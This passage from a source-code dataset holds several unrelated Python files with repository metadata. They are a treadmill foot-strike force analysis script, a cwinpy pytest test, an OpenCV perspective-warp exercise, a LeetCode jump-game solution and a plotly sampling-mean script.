else:\r\n cortes1 = peaks\r\n \r\n \r\n\r\n plt.figure()\r\n plt.plot(dat2)\r\n plt.plot(cortes1[::2], dat2[cortes1[::2]], 'gv')\r\n plt.plot(cortes1[1::2], dat2[cortes1[1::2]], 'r^')\r\n plt.ylabel('Vertical GRF (BW)')\r\n \r\n datcorte = dat2[cortes1[0]:cortes1[-1]]\r\n cortes2 = cortes1 - cortes1[0]\r\n nstrikes = int(len(cortes2)-1)\r\n\r\n plt.title(f'Selected for the start and end of foot-strikes (n strikes = {nstrikes})')\r\n \r\n plt.figure()\r\n plt.plot(datcorte)\r\n plt.plot(cortes2[::2], datcorte[cortes2[::2]], 'gv')\r\n vecorteplot2 = cortes2[1::2] \r\n vecorteplot2[-1] = vecorteplot2[-1]-1\r\n plt.plot(vecorteplot2, datcorte[vecorteplot2], 'r^')\r\n \r\n plt.title(f'Signal adjustment.s (n strikes = {nstrikes})')\r\n plt.ylabel('Vertical GRF (BW)')\r\n \r\n plt.figure()\r\n plt.plot(datzeros)\r\n \r\n loczeros = np.argwhere(datzeros == 0)\r\n locnzeros = np.argwhere(datzeros != 0)\r\n \r\n plt.plot(loczeros[:,0], datzeros[loczeros[:,0]], '.r')\r\n plt.title(f'Selected signal with values below the threshold replaced by zero: {limiar_corte}')\r\n plt.ylabel('Vertical GRF (BW)')\r\n \r\n ### Seleção de pico baseado em devivadas e picos\r\n \r\n # dat1der = np.diff(dat1, axis=0)\r\n # dat1 = dat1[:,0]\r\n # dat1der = dat1der[:,0]\r\n \r\n # ax1 = plt.subplot(2,1,1)\r\n # ax1.plot(dat1)\r\n # ax2 = plt.subplot(2,1,2, sharex=ax1)\r\n # ax2.plot(dat1der)\r\n \r\n # limiar = 10\r\n # peaks, properties = find_peaks(dat1, height=[np.mean(dat1) + np.std(dat1)], distance=np.round(freq/limiar))\r\n # ax1.plot(peaks, dat1[peaks], 'rv')\r\n\r\n # mindist = min(np.diff(peaks))-limiar\r\n # peaks1, properties1 = find_peaks(dat1der, distance=mindist, height=max(dat1der)-3*np.std(dat1der))\r\n # inicios_dat = peaks1-limiar\r\n\r\n # ax2.plot(peaks1, dat1der[peaks1], 'rv')\r\n # ax1.plot(inicios_dat, dat1[inicios_dat], 'gv')\r\n \r\n # dat2der = np.diff(-1*dat1, axis=0)\r\n # # dat2der = dat2der[:,0]\r\n # peaks2, properties2 = find_peaks(dat2der, distance=mindist, height=max(dat2der)-3*np.std(dat2der))\r\n # finais_dat = peaks2 + 4*limiar\r\n # ax2.plot(peaks2, dat1der[peaks2], 'm^')\r\n # ax1.plot(finais_dat, dat1[finais_dat], 'm^')\r\n \r\n # dat1inve = dat1[::-1]\r\n datcorte1 = dat2\r\n datcorte2 = datcorte\r\n print(f'Number of foot-strikes = {nstrikes}')\r\n return datcorte1, cortes1, datcorte2, cortes2, datzeros, loczeros\r\n\r\n# %% [markdown] \r\n# ### Função para extrair os atributos de um único foot-strikes\r\n# %%\r\ndef strikeattr(dat, corte=None, showfig=False, numgraph=None):\r\n # dat = pd.read_csv('strike4channel.txt', sep=' ', header=None)\r\n \r\n if corte is not None:\r\n dat = dat[corte[0]:corte[1]]\r\n else:\r\n dat = dat\r\n \r\n datres = np.array(dat)\r\n \r\n pos_peaks_datres, _ = find_peaks(datres) # número de picos\r\n pos_peakmax = np.argmax(datres) # posicao do pico máximo\r\n val_peakmax = max(datres) # valor do pico máximo\r\n \r\n der_datres = np.diff(datres) # derivando o sinal\r\n \r\n pos_maxdiff = np.argmax(der_datres)\r\n val_maxdiff = max(der_datres)\r\n \r\n peaks_derdatres, _ = find_peaks(-1*der_datres[pos_maxdiff:pos_peakmax])\r\n pos_itransient = peaks_derdatres[0]+1+pos_maxdiff\r\n val_itransient = datres[peaks_derdatres[0]+1+pos_maxdiff]\r\n \r\n pos_maxdiff = np.argmax(der_datres)\r\n val_maxdiff = max(der_datres)\r\n \r\n # impacttrasient2 = np.trapz(datres[pos_itransient:pos_peakmax])\r\n \r\n # retirada = np.trapz(datres[pos_peakmax:-1])\r\n \r\n # plt.close('all')\r\n # plt.figure()\r\n if showfig is True:\r\n fig, (ax1, ax2) = plt.subplots(1, 2)\r\n \r\n ax1.plot(datres, 'k--')\r\n ax1.plot(pos_peakmax, val_peakmax, 'yv', markersize=10)\r\n ax1.plot(pos_itransient, val_itransient, 'rv', markersize=10)\r\n ax1.fill_between(range(len(datres)), datres[0],datres, color='b', alpha=0.2)\r\n ax1.fill_between(range(pos_itransient+1), datres[0],datres[0:pos_itransient+1], color='red', alpha=0.4)\r\n ax1.plot(pos_maxdiff+1, datres[pos_maxdiff+1], 'gv', markersize=10)\r\n ax1.fill_between(range(pos_itransient,pos_peakmax+1), datres[0], datres[pos_itransient:pos_peakmax+1], color='yellow', alpha=0.4)\r\n ax1.fill_between(range(pos_maxdiff+2), datres[0], datres[0:pos_maxdiff+2], color='green', alpha=0.6)\r\n \r\n \r\n ax2.plot(der_datres, 'k--')\r\n ax2.plot(pos_peakmax-1, der_datres[pos_peakmax-1], 'yv', markersize=10)\r\n ax2.plot(pos_itransient-1, der_datres[pos_itransient-1], 'rv', markersize=10)\r\n ax2.plot(pos_maxdiff, val_maxdiff, 'gv', markersize=10)\r\n ax2.fill_between(range(len(der_datres)), der_datres[0], der_datres, color='b', alpha=0.2)\r\n ax2.fill_between(range(pos_itransient), der_datres[0], der_datres[0:pos_itransient], color='red', alpha=0.4)\r\n ax2.fill_between(range(pos_maxdiff+1), der_datres[0], der_datres[0:pos_maxdiff+1], color='green', alpha=0.6)\r\n ax2.fill_between(range(pos_itransient-1,pos_peakmax), der_datres[pos_itransient-1], der_datres[pos_itransient-1:pos_peakmax], color='yellow', alpha=0.4)\r\n \r\n # ax2.fill_between(range(pos_itransient), 0, datres[0:pos_itransient], color='red', alpha=0.4)\r\n \r\n ax1.set_title('Attributes Foot-Strike')\r\n ax2.set_title('Derivative (first-order)')\r\n ax1.set_ylabel('Vertical GRF (BW)')\r\n \r\n if numgraph is not None:\r\n fig.suptitle(f'Strike Attributes: {numgraph}')\r\n else:\r\n fig.suptitle('Strike Attributes')\r\n \r\n plt.show()\r\n \r\n attr1 = val_peakmax # magnitude do pico máximo (ponto amarelo Y)\r\n attr2 = pos_peakmax # tempo para o pico máximo (ponto amarelo X)\r\n attr3 = len(pos_peaks_datres) # Número de picos\r\n attr4 = len(datres) # duração de toda fase de apoio (tudo X)\r\n attr5 = val_itransient # Valor do 1 transient impact (ponto vermelho Y)\r\n attr6 = pos_itransient # Posição (tempo) do 1 transient impact (ponto vermelho X)\r\n attr7 = datres[pos_maxdiff+1] # Valor do ponto de maior inclinação do início do contato (ponto verde Y)\r\n attr8 = pos_maxdiff+1 # Posição (tempo) do ponto de maior inclinação do início do contato (ponto verde X)\r\n attr9 = np.trapz(datres) # Integral trapezoidal da curva (áreas: verde + vermelha + amarela + azul)\r\n attr10 = np.trapz(datres[0:pos_peakmax]) # Integral trapezoidal da curva até o ponto de pico max (áreas: verde + vermelha + amarela)\r\n attr11 = np.trapz(datres[0:pos_itransient]) # Integral trapezoidal do 1 impacto transient (área verde + vermelha)\r\n attr12 = attr8 * datres[pos_maxdiff+1] # Produto da maior inclição pelo tempo (aproximadamente área verde)\r\n # attr12 = np.trapz(datres[0:attr8]) # Integral da área verde\r\n attr13 = np.trapz(datres[attr6:attr2]) # Integral trapezoidal da area amarela\r\n attr14 = np.trapz(datres[attr8:attr6]) # Integral trapezoidal da area vermelha\r\n attr15 = np.trapz(datres[attr2:-1]) # Integral da area apos o pico de força (área azul)\r\n \r\n res2 = np.matrix([attr1, attr2, attr3, attr4, attr5, attr6, attr7, attr8, attr9, attr10, attr11, attr12, attr13, attr14, attr15])\r\n \r\n res1 = [attr1, attr2, attr3, attr4, attr5, attr6, attr7, attr8, attr9, attr10, attr11, attr12, attr13, attr14, attr15]\r\n\r\n res3 = {'max':attr1,\r\n 'tmax':attr2,\r\n 'npeaks':attr3,\r\n 'ttsupport':attr4,\r\n 'itransient1':attr5,\r\n 'titransient1':attr6,\r\n 'itransient2':attr7,\r\n 'titransient2':attr8,\r\n 'impall-g+r+y+b':attr9,\r\n 'imp2max-g+r+y':attr10,\r\n 'imp2itransient1-g+r':attr11,\r\n 'imp2itransient2-g':attr12,\r\n 'imp2itransient3-y':attr13,\r\n 'imp2itransient4-r':attr14,\r\n 'imp2itransient5-r':attr15} \r\n\r\n return res1, res2, res3\r\n\r\n\r\n# %% [markdown]\r\n# ### Para rodar em IDE Spyder, Pycharm etc.\r\n# %% [markdown]\r\n# ### Apresentacao do script: Sergio Baldo & Paulo Santiago\r\n# %%\r\ndef iatreadmill_ide(dat_corrida, dattara, datpeso, limiarc=16, graficos=False):\r\n print('\\n')\r\n print(58*'#')\r\n print('IA_TREADMILL.PY'.center(58))\r\n print('Análise das forças de contato no solo em esteira ergométrica'.center(58))\r\n print(58*'#')\r\n print('\\n')\r\n \r\n datread = readcell(dat_corrida, valtara=dattara, peso=datpeso, filtrar=59)\r\n datcorte1, cortes1, datcorte2, cortes2, datzeros, loczeros = selectstrikes(datread, limiar=limiarc)\r\n numstrikes = int(len(cortes2)-1)\r\n \r\n res_attrmat = np.zeros([numstrikes,15]) \r\n \r\n # plt.close('all')\r\n for i in range(numstrikes):\r\n _ , attrmat, _ = strikeattr(datcorte2, corte=cortes2[[i,i+1]], showfig=graficos, numgraph=i+1)\r\n res_attrmat[i,:] = attrmat\r\n np.savetxt('mat_attr_'+str(dat_corrida), res_attrmat, fmt='%.10f')\r\n\r\n return res_attrmat \r\n\r\n\r\n# %% [markdown]\r\n# ### Para rodar no Terminal de comando: Shell Linux, BSD e Mac ou CMD Windows.\r\n# ### Como rodar o script no Terminal ou CMD\r\n# python ia_treadmill arquivo_corrida.csv arquivo_tara.csv 14\r\n# %%\r\nif __name__ == '__main__':\r\n# %% [markdown]\r\n# ### Apresentacao do script: Sergio Baldo & Paulo Santiago\r\n# ### Para rodar digite no terminal dentro da pasta do código e arquivos\r\n# ### python ia_treadmill.py hiit12_13kmh_roberta_15042020.csv esteira_roberta_15042020.csv peso_roberta_15042020.csv 16 0\r\n# ### No final digite 0 para não apresentar gráfico e 1 para apresentar gráfico\r\n# %%\r\n print('\\n')\r\n print(58*'#')\r\n print('IA_TREADMILL.PY'.center(58))\r\n print('Análise das forças de contato no solo em esteira ergométrica'.center(58))\r\n print('Bolsista SERGIO BALDO'.center(58))\r\n print('Prof. RENATO TINÓS'.center(58))\r\n print('Prof. PAULO R. P. SANTIAGO'.center(58))\r\n print('sergiobaldo@usp.br , paulosantiago@usp.br & rtinos@ffclrp.usp.br'.center(58))\r\n print('LaBioCoM-EEFERP-USP'.center(58))\r\n print('Created on 12/04/2020 - Update on 30/04/2020'.center(58))\r\n print(58*'#')\r\n print('\\n')\r\n \r\n #import sys\r\n datread = readcell(str(sys.argv[1]), valtara=str(sys.argv[2]), peso=str(sys.argv[3]), filtrar=59)\r\n datcorte1, cortes1, datcorte2, cortes2, datzeros, loczeros = selectstrikes(datread, limiar=int(sys.argv[4]))\r\n \r\n numstrikes = int(len(cortes2)-1)\r\n \r\n res_attrmat = np.zeros([numstrikes,15]) \r\n \r\n mostragraficos = int(sys.argv[5])\r\n if mostragraficos == 0:\r\n graficos = False\r\n else:\r\n graficos = True\r\n \r\n \r\n # plt.close('all')\r\n for i in range(numstrikes):\r\n _ , attrmat, _ = strikeattr(datcorte2, corte=cortes2[[i,i+1]], showfig=graficos, numgraph=i+1)\r\n res_attrmat[i,:] = attrmat\r\n np.savetxt('mat_attr_'+str(sys.argv[1]), res_attrmat, fmt='%.8f')\r\n\r\n \r\n", "repo_name": "cequadros/TCC_UNIVESP-AG-Corrida-em-Esteira", "sub_path": "ia_treadmill.py", "file_name": "ia_treadmill.py", "file_ext": "py", "file_size_in_byte": 15427, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "scipy.signal.butter", "line_number": 33, "usage_type": "call"}, {"api_name": "scipy.signal", "line_number": 33, "usage_type": "name"}, {"api_name": "numpy.zeros", "line_number": 35, "usage_type": "call"}, {"api_name": "scipy.signal.filtfilt", "line_number": 37, "usage_type": "call"}, {"api_name": "scipy.signal", "line_number": 37, "usage_type": "name"}, {"api_name": "pandas.read_csv", "line_number": 49, "usage_type": "call"}, {"api_name": "numpy.round", "line_number": 57, "usage_type": "call"}, {"api_name": "numpy.round", "line_number": 58, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 59, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 63, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 65, "usage_type": "call"}, {"api_name": "ia_treadmill.filtro", "line_number": 72, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 78, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 83, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 86, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 87, "usage_type": "call"}, {"api_name": "numpy.savetxt", "line_number": 101, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 116, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.close", "line_number": 118, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 118, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 119, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 119, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 120, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 120, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 121, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 121, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 122, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 122, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ginput", "line_number": 124, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 124, "usage_type": "name"}, {"api_name": "numpy.round", "line_number": 125, "usage_type": "call"}, {"api_name": "numpy.round", "line_number": 126, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 128, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 128, "usage_type": "name"}, {"api_name": "numpy.argmin", "line_number": 132, "usage_type": "call"}, {"api_name": "numpy.std", "line_number": 135, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.title", "line_number": 138, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 138, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 140, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 140, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 141, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 141, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 142, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 142, "usage_type": "name"}, {"api_name": "numpy.linspace", "line_number": 142, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.title", "line_number": 143, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 143, "usage_type": "name"}, {"api_name": "scipy.signal.find_peaks", "line_number": 152, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 152, "usage_type": "call"}, {"api_name": "numpy.std", "line_number": 152, "usage_type": "call"}, {"api_name": "numpy.round", "line_number": 152, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 162, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 162, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 163, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 163, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 164, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 164, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 165, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 165, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 166, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 166, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 172, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 172, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 174, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 174, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 175, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 175, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 176, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 176, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 179, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 179, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 181, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 181, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 182, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 182, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 184, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 184, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 185, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 185, "usage_type": "name"}, {"api_name": "numpy.argwhere", "line_number": 187, "usage_type": "call"}, {"api_name": "numpy.argwhere", "line_number": 188, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 190, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 190, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 191, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 191, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 192, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 192, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 240, "usage_type": "call"}, {"api_name": "scipy.signal.find_peaks", "line_number": 242, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 243, "usage_type": "call"}, {"api_name": "numpy.diff", "line_number": 246, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 248, "usage_type": "call"}, {"api_name": "scipy.signal.find_peaks", "line_number": 251, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 255, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 265, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 265, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 297, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 297, "usage_type": "name"}, {"api_name": "numpy.trapz", "line_number": 307, "usage_type": "call"}, {"api_name": "numpy.trapz", "line_number": 308, "usage_type": "call"}, {"api_name": "numpy.trapz", "line_number": 309, "usage_type": "call"}, {"api_name": "numpy.trapz", "line_number": 312, "usage_type": "call"}, {"api_name": "numpy.trapz", "line_number": 313, "usage_type": "call"}, {"api_name": "numpy.trapz", "line_number": 314, "usage_type": "call"}, {"api_name": "numpy.matrix", "line_number": 316, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 356, "usage_type": "call"}, {"api_name": "numpy.savetxt", "line_number": 362, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 393, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 394, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 398, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 400, "usage_type": "attribute"}, {"api_name": "numpy.savetxt", "line_number": 411, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 411, "usage_type": "attribute"}]} {"seq_id": "35676713184", "text": "\"\"\"\nTest script for testing class.\n\"\"\"\n\nimport glob\nimport os\nimport shutil\n\nimport bilby\nimport numpy as np\nimport pytest\nfrom htcondor import dags\n\nfrom cwinpy.pe.testing import PEPPPlotsDAG\n\n\nclass TestPEPP(object):\n @classmethod\n def setup_class(cls):\n \"\"\"\n Create directory for tests and set default values.\n \"\"\"\n\n # set the base directory\n cls.basedir = os.path.join(os.path.split(os.path.realpath(__file__))[0], \"base\")\n\n cls.ninj = 50 # number of simulated signals\n cls.maxamp = 5e-23 # maximum amplitude\n cls.freqrange = (10.0, 100.0) # frequency range\n\n # default prior dictionary\n cls.priors = {}\n cls.priors[\"h0\"] = bilby.core.prior.Uniform(\n name=\"h0\", minimum=0.0, maximum=1e-22\n )\n\n @classmethod\n def teardown_class(cls):\n \"\"\"\n Remove test directory.\n \"\"\"\n\n shutil.rmtree(cls.basedir)\n\n def test_failures(self):\n with pytest.raises(TypeError):\n PEPPPlotsDAG(1)\n\n with pytest.raises(ValueError):\n PEPPPlotsDAG(self.priors, ninj=-1)\n\n with pytest.raises(ValueError):\n PEPPPlotsDAG(self.priors, maxamp=-1.0)\n\n with pytest.raises(IOError):\n PEPPPlotsDAG(self.priors, basedir=1)\n\n with pytest.raises(TypeError):\n PEPPPlotsDAG(self.priors, basedir=self.basedir, freqrange=1)\n\n with pytest.raises(ValueError):\n PEPPPlotsDAG(self.priors, basedir=self.basedir, freqrange=[1, 2, 3])\n\n def test_run(self):\n run = PEPPPlotsDAG(\n self.priors,\n basedir=self.basedir,\n ninj=self.ninj,\n maxamp=self.maxamp,\n freqrange=self.freqrange,\n )\n\n assert len(run.pulsars) == self.ninj\n assert np.all(\n np.array([run.pulsars[psr][\"parameters\"][\"H0\"] for psr in run.pulsars])\n < self.maxamp\n )\n assert np.all(\n np.array([run.pulsars[psr][\"parameters\"][\"F0\"] for psr in run.pulsars])\n > self.freqrange[0]\n ) and np.all(\n np.array([run.pulsars[psr][\"parameters\"][\"F0\"] for psr in run.pulsars])\n < self.freqrange[1]\n )\n\n # check output prior\n for prior1, prior2 in zip(\n bilby.core.prior.PriorDict(filename=run.priorfile),\n bilby.core.prior.PriorDict(dictionary=self.priors),\n ):\n assert prior1 == prior2\n\n # check for the correct number of pulsars\n assert len(run.pulsars) == self.ninj\n\n # check for the correct number of output parameter files\n assert len(os.listdir(run.pulsardir)) == self.ninj\n\n # check output is a DAG\n assert isinstance(run.runner.dag, dags.DAG)\n\n # checkout correct number of DAG jobs\n assert len(run.runner.dag.nodes) == (self.ninj + 1)\n\n # check config files are present\n configfiles = list(glob.glob(os.path.join(self.basedir, \"configs\", \"*.ini\")))\n assert len(configfiles) == self.ninj\n", "repo_name": "cwinpy/cwinpy", "sub_path": "cwinpy/test/test_pe_testing.py", "file_name": "test_pe_testing.py", "file_ext": "py", "file_size_in_byte": 3059, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 8, "dataset": "github-code", "pt": "7", "api": [{"api_name": "os.path.join", "line_number": 25, "usage_type": "call"}, {"api_name": "os.path", "line_number": 25, "usage_type": "attribute"}, {"api_name": "os.path.split", "line_number": 25, "usage_type": "call"}, {"api_name": "os.path.realpath", "line_number": 25, "usage_type": "call"}, {"api_name": "bilby.core.prior.Uniform", "line_number": 33, "usage_type": "call"}, {"api_name": "bilby.core", "line_number": 33, "usage_type": "attribute"}, {"api_name": "shutil.rmtree", "line_number": 43, "usage_type": "call"}, {"api_name": "pytest.raises", "line_number": 46, "usage_type": "call"}, {"api_name": "cwinpy.pe.testing.PEPPPlotsDAG", "line_number": 47, "usage_type": "call"}, {"api_name": "pytest.raises", "line_number": 49, "usage_type": "call"}, {"api_name": "cwinpy.pe.testing.PEPPPlotsDAG", "line_number": 50, "usage_type": "call"}, {"api_name": "pytest.raises", "line_number": 52, "usage_type": "call"}, {"api_name": "cwinpy.pe.testing.PEPPPlotsDAG", "line_number": 53, "usage_type": "call"}, {"api_name": "pytest.raises", "line_number": 55, "usage_type": "call"}, {"api_name": "cwinpy.pe.testing.PEPPPlotsDAG", "line_number": 56, "usage_type": "call"}, {"api_name": "pytest.raises", "line_number": 58, "usage_type": "call"}, {"api_name": "cwinpy.pe.testing.PEPPPlotsDAG", "line_number": 59, "usage_type": "call"}, {"api_name": "pytest.raises", "line_number": 61, "usage_type": "call"}, {"api_name": "cwinpy.pe.testing.PEPPPlotsDAG", "line_number": 62, "usage_type": "call"}, {"api_name": "cwinpy.pe.testing.PEPPPlotsDAG", "line_number": 65, "usage_type": "call"}, {"api_name": "numpy.all", "line_number": 74, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 75, "usage_type": "call"}, {"api_name": "numpy.all", "line_number": 78, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 79, "usage_type": "call"}, {"api_name": "numpy.all", "line_number": 81, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 82, "usage_type": "call"}, {"api_name": "bilby.core.prior.PriorDict", "line_number": 88, "usage_type": "call"}, {"api_name": "bilby.core", "line_number": 88, "usage_type": "attribute"}, {"api_name": "bilby.core.prior.PriorDict", "line_number": 89, "usage_type": "call"}, {"api_name": "bilby.core", "line_number": 89, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 97, "usage_type": "call"}, {"api_name": "htcondor.dags.DAG", "line_number": 100, "usage_type": "attribute"}, {"api_name": "htcondor.dags", "line_number": 100, "usage_type": "name"}, {"api_name": "glob.glob", "line_number": 106, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 106, "usage_type": "call"}, {"api_name": "os.path", "line_number": 106, "usage_type": "attribute"}]} {"seq_id": "37727068845", "text": "import cv2\r\nimport imutils\r\nimport numpy as np\r\n\r\nimg = cv2.imread(r\"./geometric.jpg\")\r\n\r\nrot = imutils.rotate(img, angle=-15)\r\n\r\nwidth, height = 806, 429\r\n\r\n# pixel points of 4 corners\r\npts1 = np.float32([[110,0],[494,102],[0,413],[384,517]])\r\npts2 = np.float32([[0,0],[width,0],[0,height],[width,height]])\r\n\r\nmatrix = cv2.getPerspectiveTransform(pts1,pts2)\r\nresult = cv2.warpPerspective(rot,matrix,(width,height))\r\n\r\ncv2.imshow(\"img\", img)\r\ncv2.imshow(\"rot\", rot)\r\ncv2.imwrite('result.jpg', result)\r\n\r\ncv2.imshow(\"result\", result)\r\n\r\ncv2.waitKey(0)\r\ncv2.destroyAllWindows()\r\n", "repo_name": "ZhanaraAliaskarova/ComputerVision", "sub_path": "Lab4/Lab41.py", "file_name": "Lab41.py", "file_ext": "py", "file_size_in_byte": 577, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "cv2.imread", "line_number": 5, "usage_type": "call"}, {"api_name": "imutils.rotate", "line_number": 7, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 12, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 13, "usage_type": "call"}, {"api_name": "cv2.getPerspectiveTransform", "line_number": 15, "usage_type": "call"}, {"api_name": "cv2.warpPerspective", "line_number": 16, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 18, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 19, "usage_type": "call"}, {"api_name": "cv2.imwrite", "line_number": 20, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 22, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 24, "usage_type": "call"}, {"api_name": "cv2.destroyAllWindows", "line_number": 25, "usage_type": "call"}]} {"seq_id": "72685073504", "text": "from typing import List\nfrom collections import defaultdict\n\n# [Depth-First Search and Breadth-First Search in Python · Edd Mann](https://eddmann.com/posts/depth-first-search-and-breadth-first-search-in-python/)\n# [Depth First Search or DFS for a Graph - GeeksforGeeks](https://www.geeksforgeeks.org/depth-first-search-or-dfs-for-a-graph/)\n\n\nclass Solution:\n def canReach(self, arr: List[int], start: int) -> bool:\n jumpDict = defaultdict(set)\n for i, val in enumerate(arr):\n if 0 <= i + val < len(arr):\n jumpDict[i].add(i + val)\n if 0 <= i - val < len(arr):\n jumpDict[i].add(i - val)\n\n visited = set()\n stack = [start]\n\n while stack:\n vertex = stack.pop()\n if arr[vertex] == 0:\n return True\n if vertex not in visited:\n visited.add(vertex)\n stack.extend(jumpDict[vertex] - visited)\n\n return False\n", "repo_name": "daviddwlee84/LeetCode", "sub_path": "Contest/LeetCodeWeeklyContest/WeeklyContest169/JumpGameIII.py", "file_name": "JumpGameIII.py", "file_ext": "py", "file_size_in_byte": 973, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 15, "dataset": "github-code", "pt": "7", "api": [{"api_name": "typing.List", "line_number": 9, "usage_type": "name"}, {"api_name": "collections.defaultdict", "line_number": 10, "usage_type": "call"}]} {"seq_id": "41283897286", "text": "import plotly.figure_factory as ff\nimport plotly.graph_objects as go\nimport statistics \nimport random\nimport pandas as pd\nimport csv\n\ndf = pd.read_csv(\"MediumArticleP.csv\")\ndata = df[\"reading_time\"].tolist()\ngraph = ff.create_distplot([data],[\"temp\"],show_hist=False)\ngraph.show()\nPmean = statistics.mean(data)\npstd = statistics.stdev(data)\n##print(\"mean of the population is \",Pmean)\n##print(\"standard deviation of the population is \",pstd)\n\ndef random_set_of_mean(counter):\n dataset = []\n for i in range(0,counter):\n random_index = random.randint(0,len(data)-1)\n value = data[random_index]\n dataset.append(value)\n samplemean = statistics.mean(dataset)\n return samplemean\n\nmean_list = []\nfor i in range(0,100):\n set_of_means = random_set_of_mean(30)\n mean_list.append(set_of_means)\n\nsd_std = 